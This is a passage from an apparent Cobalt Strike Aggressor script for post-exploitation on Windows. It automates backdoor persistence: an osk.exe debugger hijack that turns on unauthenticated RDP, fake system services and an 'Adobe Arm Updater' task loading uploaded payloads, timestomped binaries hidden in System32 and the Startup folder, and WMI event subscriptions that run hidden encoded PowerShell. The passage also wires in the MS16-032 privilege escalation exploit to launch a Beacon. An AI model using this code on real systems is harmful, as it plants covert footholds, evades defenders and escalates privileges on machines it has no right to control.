#$enc is base 64 encoded IEX of the powershell one liner
#cat payload.txt | iconv --to-code=UTF-16LE | base64
$enc = "";
persistwmieventwmic($bid, $enc);
}
}
}
menu "&User Level" {
item "&WindowsStartup"{
local('$bid');
foreach $bid ($1) {
persistThroughStartUpFolder($bid);
}
}
item "&Stickykeys(OSK)" {
local('$bid');
foreach $bid ($1) {
stickykeys($bid);
}
}
item "&Schtasks User Onlogon" {
local('$bid');
foreach $bid ($1) {
persistUserSchtasks($bid);
}
}
}
}
}
}
##### Persist
sub stickykeys {
bshell($1, 'REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f');
bshell($1, 'REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe" /v Debugger /t REG_SZ /d "c:\windows\system32\cmd.exe"');
bshell($1, 'REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d "0" /f');
bshell($1, 'netsh firewall set service type = remotedesktop mode = enable');
bshell($1, 'netsh advfirewall firewall set rule group="remote desktop" new enable=Yes');
bshell($1, 'net start TermService');
}
#sub HyperionDLL443_x64_2000Plus {
# cd to System32
#bcd($1, 'c:\windows\system32');
# on boot Point to and Load hp DLL
#bupload($1, '/opt/cobaltstrike/Payloads/RunConsoleDll.exe');
#bupload($1, '/opt/cobaltstrike/Payloads/hpbcfgui.dll');
#btimestomp($1, "hpbcfgui.dll", "autoplay.dll");
#bshell($1, 'RunConsoleDll.exe hpbcfgui.dll');
#bshell($1, 'wmic process where name="RunConsoleDll.exe" call terminate');
#bshell($1, 'del RunConsoleDll.exe');
#bshell($1, 'del hpbcfgui.dll');
#}
sub persistUserSchtasks {
if (-exists script_resource("Payloads/AdobeArm.dll")) {
bcd($1, 'C:\Users\Default\AppData\\');
#upload HTTPS payload
bupload($1, '/opt/cobaltstrike/Payloads/AdobeArm.dll');
bshell($1, 'schtasks /create /tn "Adobe Arm Updater" /tr "C:\Windows\System32\rundll32.exe C:\Users\Default\AppData\AdobeArm.dll,StartW" /sc onlogon');
bshell($1, 'schtasks /query /v /tn "Adobe Arm Updater" /FO list');
bshell($1, 'attrib +H AdobeArm.dll');
}
else {
berror($1, "\c4Payload does not exist!!");
}
}
sub persistServer {
if (-exists script_resource("Payloads/netsys.exe")) {
# Windows servers with HTTPS
bcd($1, 'c:\windows\system32');
# on boot [service exe]
bupload($1, '/opt/cobaltstrike/Payloads/netsys.exe');
btimestomp($1, "netsys.exe", "cmd.exe");
bshell($1, 'sc delete netsys');
bshell($1, 'sc create netsys binpath= "C:\windows\system32\netsys.exe" error= ignore start= auto DisplayName= "System Network Monitor"');
bshell($1, 'sc description netsys "Monitors the networks to which the computer has connected, collects and stores information about these networks, and notifies registered applications of state changes. If this service is disabled, any services that explicitly depend on it may fail to start."');
bshell($1, 'sc config netsys binpath= "C:\windows\system32\netsys.exe"');
bshell($1, 'sc start netsys');
}
else {
berror($1, "\c4Payload does not exist!!");
}
}
sub persistWorkstation {
if (-exists script_resource("Payloads/msrandr.exe")) {
# Windows workstations with HTTPS
bcd($1, 'c:\windows\system32');
# on boot [service exe]
bupload($1, '/opt/cobaltstrike/Payloads/msrandr.exe');
btimestomp($1, "msrandr.exe", "cmd.exe");
bshell($1, 'sc create winsrv binpath= "C:\windows\system32\msrandr.exe" start= auto DisplayName= "Desktop Window Service"');
bshell($1, 'sc description winsrv "Manages desktop sessions from this computer. If this service is disabled, any services that explicitly depend on it may fail to start."');
bshell($1, 'sc config winsrv binpath= "C:\windows\system32\msrandr.exe"');
bshell($1, 'sc start winsrv');
}
else {
berror($1, "\c4Payload does not exist!!");
}
}
sub persistSmbOnly {
if (-exists script_resource("Payloads/adsvc.exe")) {
bcd($1, 'c:\windows\system32');
#on boot [another service exe]
#SMB only for servers
bupload($1, '/opt/cobaltstrike/Payloads/adsvc.exe');
btimestomp($1, "adsvc.exe", "notepad.exe");
bshell($1, 'sc delete adsvc');
bshell($1, 'sc create adsvc binpath= "C:\windows\system32\adsvc.exe" error= ignore start= auto DisplayName= "Active Directory Server Service"');
bshell($1, 'sc description adsvc "Provides Active Directory services. If this service is stopped, programs that depend on Active Directory may not function properly."');
bshell($1, 'sc config adsvc binpath= "C:\windows\system32\adsvc.exe" start= auto');
bshell($1, 'sc start adsvc');
}
else {
berror($1, "\c4Payload does not exist!!");
}
}
sub persistwmieventwmic {
if ($2 is $null) {
berror($1, "\c4You must provide an encoded payload.");
return;
}
bshell($1, 'wmic /NAMESPACE:"\\\root\subscription" PATH __EventFilter CREATE Name="MSUpdate", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA \'Win32_PerfFormattedData_PerfOS_System\' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"');
bshell($1, 'wmic /NAMESPACE:"\\\root\subscription" PATH CommandLineEventConsumer CREATE Name="PushMSUpdate", CommandLineTemplate="powershell.exe -nop -w hidden -encodedcommand '.$2."\"");
bshell($1, 'wmic /NAMESPACE:"\\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"MSUpdate\"", Consumer="CommandLineEventConsumer.Name=\"PushMSUpdate\""');
bshell($1, 'wmic /NAMESPACE:"\\\root\subscription" PATH __EventFilter GET __RELPATH /FORMAT:list');
bshell($1, 'wmic /NAMESPACE:"\\\root\subscription" PATH CommandLineEventConsumer GET __RELPATH /FORMAT:list');
bshell($1, 'wmic /NAMESPACE:"\\\root\subscription" PATH __FilterToConsumerBinding GET __RELPATH /FORMAT:list');
}
sub persistwmievent {
if (-exists script_resource("scripts/wmi_event_persistence.ps1")) {
bpowershell_import($1, script_resource("scripts/wmi_event_persistence.ps1"));
bpowerpick($1, "WMIEventPersist");
blog($1, "Executing Permanent WMI Persistence as MSUpdate");
blog($1, "Use the Queries below to verify Execution:");
blog($1, 'Get-WmiObject __eventFilter -namespace root\subscription -filter "name=\'MSUpdate\'"');
blog($1, 'Get-WmiObject CommandLineEventConsumer -Namespace root\subscription -filter "name=\'MSUpdate\'"');
blog($1, 'Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Object { $_.filter -match \'MSUpdate\'}');
}
else {
berror($1, "\c4wmi_event_persistence.ps1 does not exist!!");
}
}
sub persistThroughStartUpFolder {
if (-exists script_resource("Payloads/time_updater.exe")) {
bcd($1, 'c:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup');
bupload($1, '/opt/cobaltstrike/Payloads/time_updater.exe');
btimestomp($1, "time_updater.exe", 'c:\windows\system32\calc.exe');
}
else {
berror($1, "\c4Payload does not exist!!");
}
}
###########################################################
##Elevate Kit
##Thanks to @raffi for Aggressor source code
#
# Integrate several privilege escalation exploits into Cobalt Strike via Aggressor Script
#
# Integrate ms16-032
# Sourced from Empire: https://github.com/adaptivethreat/Empire/tree/master/data/module_source/privesc
############################################################
sub ms16_032_exploit {
local('$script $oneliner');
# acknowledge this command
btask($1, "Tasked Beacon to run " . listener_describe($2) . " via ms16-032");
# generate a PowerShell script to run our Beacon listener
$script = artifact($2, "powershell");
# host this script within this Beacon
$oneliner = beacon_host_script($1, $script);
# task Beacon to run this exploit with our one-liner that runs Beacon
bpowershell_import!($1, script_resource("modules/Invoke-MS16032.ps1"));
bpowerpick!($1, "Invoke-MS16032 -Command \" $+ $oneliner $+ \"");
# give it another 10s to work.
bpause($1, 10000);